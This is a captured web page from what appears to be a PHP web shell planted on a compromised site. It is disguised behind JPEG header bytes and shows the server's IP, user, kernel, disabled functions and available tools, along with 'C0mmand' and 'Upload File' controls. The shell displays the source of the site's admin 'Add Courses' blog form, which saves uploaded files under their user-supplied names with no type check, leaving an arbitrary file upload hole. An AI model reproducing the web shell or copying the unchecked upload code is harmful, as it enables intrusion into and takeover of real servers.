����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 18.224.0.57 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/mhmsfzcs/vflyorions.com/admin/assets/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE html> <html lang="en"> <head> </head> <script src="tinymce/tinymce.min.js"></script> <script src="script.js"></script> </html> <?php include 'db.php'; include 'header.php'; include 'sidebar.php'; $id=""; $heading="none"; //$image="none"; $image2="none"; $image3="none"; $long_desc="none"; $long_desc2="none"; $long_desc3="none"; if (isset($_POST['submit'])) { $heading = $_POST['heading']; $short_desc = $_POST['short_desc']; $long_desc = $_POST['long_desc']; $image = $_FILES['image']['name']; $upload = 'assets/blog_image/' . $image; $date = date('Y-m-d'); $status = "1"; // Move the uploaded file to the destination directory if (move_uploaded_file($_FILES['image']['tmp_name'], $upload)) { // Prepare and execute the insert statement $insert2 = $conn->prepare("INSERT INTO `blog`(`heading`,`short_desc`,`long_desc`,`image`,`date`) VALUES (?,?,?,?,?)"); $insert2->bind_param("sssss", $heading, $short_desc, $long_desc, $image, $date); $res = $insert2->execute(); if ($res) { $_SESSION['status'] = "Added Successfully"; $_SESSION['status_code'] = "success"; } else { $_SESSION['status'] = "Oops something went wrong!!"; $_SESSION['status_code'] = "error"; } } else { // If the image upload fails $_SESSION['status'] = "Failed to upload image."; $_SESSION['status_code'] = "error"; } } ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <div class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1 class="m-0">Add Courses</h1> </div><!-- /.col --> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="#">Home</a></li> <li class="breadcrumb-item active">Dashboard</li> </ol> </div><!-- /.col --> </div><!-- /.row --> </div><!-- /.container-fluid --> </div> <!-- /.content-header --> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <div class="col-sm-12"> <div class="card card-primary"> <div class="card-header"> <h3 class="card-title">Add Courses</h3> </div> <!-- /.card-header --> <!-- form start --> <form method="post" enctype="multipart/form-data"> <div class="card-body"> <div class="row"> <div class="col-sm-12"> <div class="form-group"> <label for="exampleInputEmail1">Heading</label> <input type="text" name="heading" class="form-control" id="exampleInputEmail1" placeholder="Heading" > </div> <!--<div class="form-group">--> <!-- <label for="exampleInputEmail1">For Url Heading<spna style="color:red">(Please Use in heading dashes to connect line not a space)</spna> </label>--> <!-- <input type="text" name="url_heading" class="form-control" id="exampleInputEmail1" placeholder="Url Heading" >--> <!--</div>--> <div class="form-group"> <label for="exampleInputPassword1">Short Description</label> <input type="text" name="short_desc" class="form-control" id="exampleInputPassword1" placeholder="Short Description" > </div> <div class="form-group"> <label for="exampleInputPassword1">Long Description</label> <textarea name="long_desc" id="default" ></textarea> <!--<textarea class="form-control" name="long_desc" rows="3" style="" placeholder="Long Description" ></textarea> --> </div> <!--<div class="form-group">--> <!-- <label for="exampleInputPassword1">Blog Quote</label>--> <!-- <textarea name="quote" id="default" ></textarea>--> <!--<textarea class="form-control" rows="3" style="" placeholder="Blog Quote"></textarea> --> <!--</div>--> <div class="form-group"> <label for="exampleInputFile">File input</label> <div class="input-group"> <div class="custom-file"> <input type="file" name="image" class="custom-file-input" id="exampleInputFile"> <label class="custom-file-label" for="exampleInputFile">Choose file</label> </div> <div class="input-group-append"> <span class="input-group-text">Upload</span> </div> </div> </div> </div><!--col--> <!--<div class="col-sm-6">--> <!-- <div class="form-group">--> <!-- <label for="exampleInputPassword1">Second Para</label>--> <!-- <textarea name="long_desc2" id="default" ></textarea>--> <!--<textarea class="form-control" rows="3" style="" placeholder="Long Description second para" ></textarea> --> <!--</div>--> <!-- <div class="form-group">--> <!-- <label for="exampleInputFile">Second Para Image</label>--> <!-- <div class="input-group">--> <!-- <div class="custom-file">--> <!-- <input type="file" name="image2" class="custom-file-input" id="exampleInputFile" >--> <!-- <label class="custom-file-label" for="exampleInputFile">Choose file</label>--> <!-- </div>--> <!-- <div class="input-group-append">--> <!-- <span class="input-group-text">Upload2</span>--> <!-- </div>--> <!-- </div>--> <!--</div> --> <!--<div class="form-group">--> <!-- <label for="exampleInputPassword1">Third Para</label>--> <!-- <textarea class="form-control" name="long_desc3" rows="3" style="" placeholder="Long Description third para" ></textarea> --> <!--</div>--> <!-- <div class="form-group">--> <!-- <label for="exampleInputFile">Third Para Image</label>--> <!-- <div class="input-group">--> <!-- <div class="custom-file">--> <!-- <input type="file" name="image3" class="custom-file-input" id="exampleInputFile" >--> <!-- <label class="custom-file-label" for="exampleInputFile">Choose file</label>--> <!-- </div>--> <!-- <div class="input-group-append">--> <!-- <span class="input-group-text">Upload3</span>--> <!-- </div>--> <!-- </div>--> <!--</div> --> <!-- <div class="form-group">--> <!-- <label for="exampleInputEmail1">Category1</label>--> <!-- <input type="text" name="category1" class="form-control" id="exampleInputEmail" placeholder="Category" >--> <!--</div>--> <!--<div class="form-group">--> <!-- <label for="exampleInputEmail1">Heading1</label>--> <!-- <input type="text" name="heading1" class="form-control" id="exampleInputEmail1" placeholder="Heading" >--> <!--</div>--> <!--<div class="form-group">--> <!-- <label for="exampleInputPassword1">Short Description1</label>--> <!-- <input type="text" name="short_desc1" class="form-control" id="exampleInputPassword1" placeholder="Short Description" >--> <!--</div>--> <!-- <div class="form-group">--> <!-- <label for="exampleInputPassword1">Long Description1</label>--> <!-- <textarea class="form-control" name="long_desc1" rows="3" style="" placeholder="Long Description" ></textarea> --> <!--</div>--> <!--<div class="form-group">--> <!-- <label for="exampleInputPassword1">Blog Quote1</label>--> <!-- <textarea class="form-control" name="quote1" rows="3" style="" placeholder="Blog Quote" ></textarea> --> <!--</div>--> <!--<div class="form-group">--> <!-- <label for="exampleInputFile">File input1</label>--> <!-- <div class="input-group">--> <!-- <div class="custom-file">--> <!-- <input type="file" name="image1" class="custom-file-input" id="exampleInputFile" >--> <!-- <label class="custom-file-label" for="exampleInputFile">Choose file</label>--> <!-- </div>--> <!-- <div class="input-group-append">--> <!-- <span class="input-group-text">Upload1</span>--> <!-- </div>--> <!-- </div>--> <!--</div> --> <!--</div>--> <!--col--> <!--<div class="col-sm-4">--> <!--Aniket--> <!-- <div class="form-group">--> <!-- <label for="exampleInputPassword1">Fourth Para</label>--> <!-- <textarea class="form-control" name="long_desc4" rows="3" style="" placeholder="Long Description Fourth para" ></textarea> --> <!--</div>--> <!-- <div class="form-group">--> <!-- <label for="exampleInputFile">Fourth Para Image</label>--> <!-- <div class="input-group">--> <!-- <div class="custom-file">--> <!-- <input type="file" name="image4" class="custom-file-input" id="exampleInputFile" >--> <!-- <label class="custom-file-label" for="exampleInputFile">Choose file</label>--> <!-- </div>--> <!-- <div class="input-group-append">--> <!-- <span class="input-group-text">Upload4</span>--> <!-- </div>--> <!-- </div>--> <!--</div> --> <!--<div class="form-group">--> <!-- <label for="exampleInputPassword1">Fifth Para</label>--> <!-- <textarea class="form-control" name="long_desc5" rows="3" style="" placeholder="Long Description fifth para" ></textarea> --> <!--</div>--> <!-- <div class="form-group">--> <!-- <label for="exampleInputFile">Fifth Para Image</label>--> <!-- <div class="input-group">--> <!-- <div class="custom-file">--> <!-- <input type="file" name="image5" class="custom-file-input" id="exampleInputFile" >--> <!-- <label class="custom-file-label" for="exampleInputFile">Choose file</label>--> <!-- </div>--> <!-- <div class="input-group-append">--> <!-- <span class="input-group-text">Upload5</span>--> <!-- </div>--> <!-- </div>--> <!--</div> --> <!-- <div class="form-group">--> <!-- <label for="exampleInputEmail1">Category2</label>--> <!-- <input type="text" name="category2" class="form-control" id="exampleInputEmail" placeholder="Category" >--> <!-- </div>--> <!-- <div class="form-group">--> <!-- <label for="exampleInputEmail1">Heading2</label>--> <!-- <input type="text" name="heading2" class="form-control" id="exampleInputEmail1" placeholder="Heading" >--> <!-- </div>--> <!-- <div class="form-group">--> <!-- <label for="exampleInputPassword1">Short Description2</label>--> <!-- <input type="text" name="short_desc2" class="form-control" id="exampleInputPassword1" placeholder="Short Description" >--> <!-- </div>--> <!--<div class="form-group">--> <!-- <label for="exampleInputPassword1">Long Description2</label>--> <!-- <textarea class="form-control" name="long_desc2" rows="3" style="" placeholder="Long Description" ></textarea> --> <!-- </div>--> <!-- <div class="form-group">--> <!-- <label for="exampleInputPassword1">Blog Quote2</label>--> <!-- <textarea class="form-control" name="quote2" rows="3" style="" placeholder="Blog Quote" ></textarea> --> <!-- </div>--> <!-- <div class="form-group">--> <!-- <label for="exampleInputFile">File input2</label>--> <!-- <div class="input-group">--> <!-- <div class="custom-file">--> <!-- <input type="file" name="image2" class="custom-file-input" id="exampleInputFile" >--> <!-- <label class="custom-file-label" for="exampleInputFile">Choose file2</label>--> <!-- </div>--> <!-- <div class="input-group-append">--> <!-- <span class="input-group-text">Upload2</span>--> <!-- </div>--> <!-- </div>--> <!-- </div> --> <!--</div>--> <!--col--> </div><!--row--> </div> <!-- /.card-body --> <div class="card-footer"> <button type="submit" name="submit" class="btn btn-primary">Submit</button> </div> </form> </div> <!-- /.card --> </div> </div> </div><!--/. container-fluid --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <!-- Control Sidebar --> <aside class="control-sidebar control-sidebar-dark"> <!-- Control sidebar content goes here --> </aside> <!-- /.control-sidebar --> <script> $(function () { bsCustomFileInput.init(); }); </script> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <?php if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?> <script> new swal({ title: "<?php echo $_SESSION['status'];?>", //text: "You clicked the button!", icon: "<?php echo $_SESSION['status_code'];?>", button: "OK", }).then(function() { window.location = ""; }); </script> <?php unset($_SESSION['status']); } ?> <?php include 'footer.php'; ?>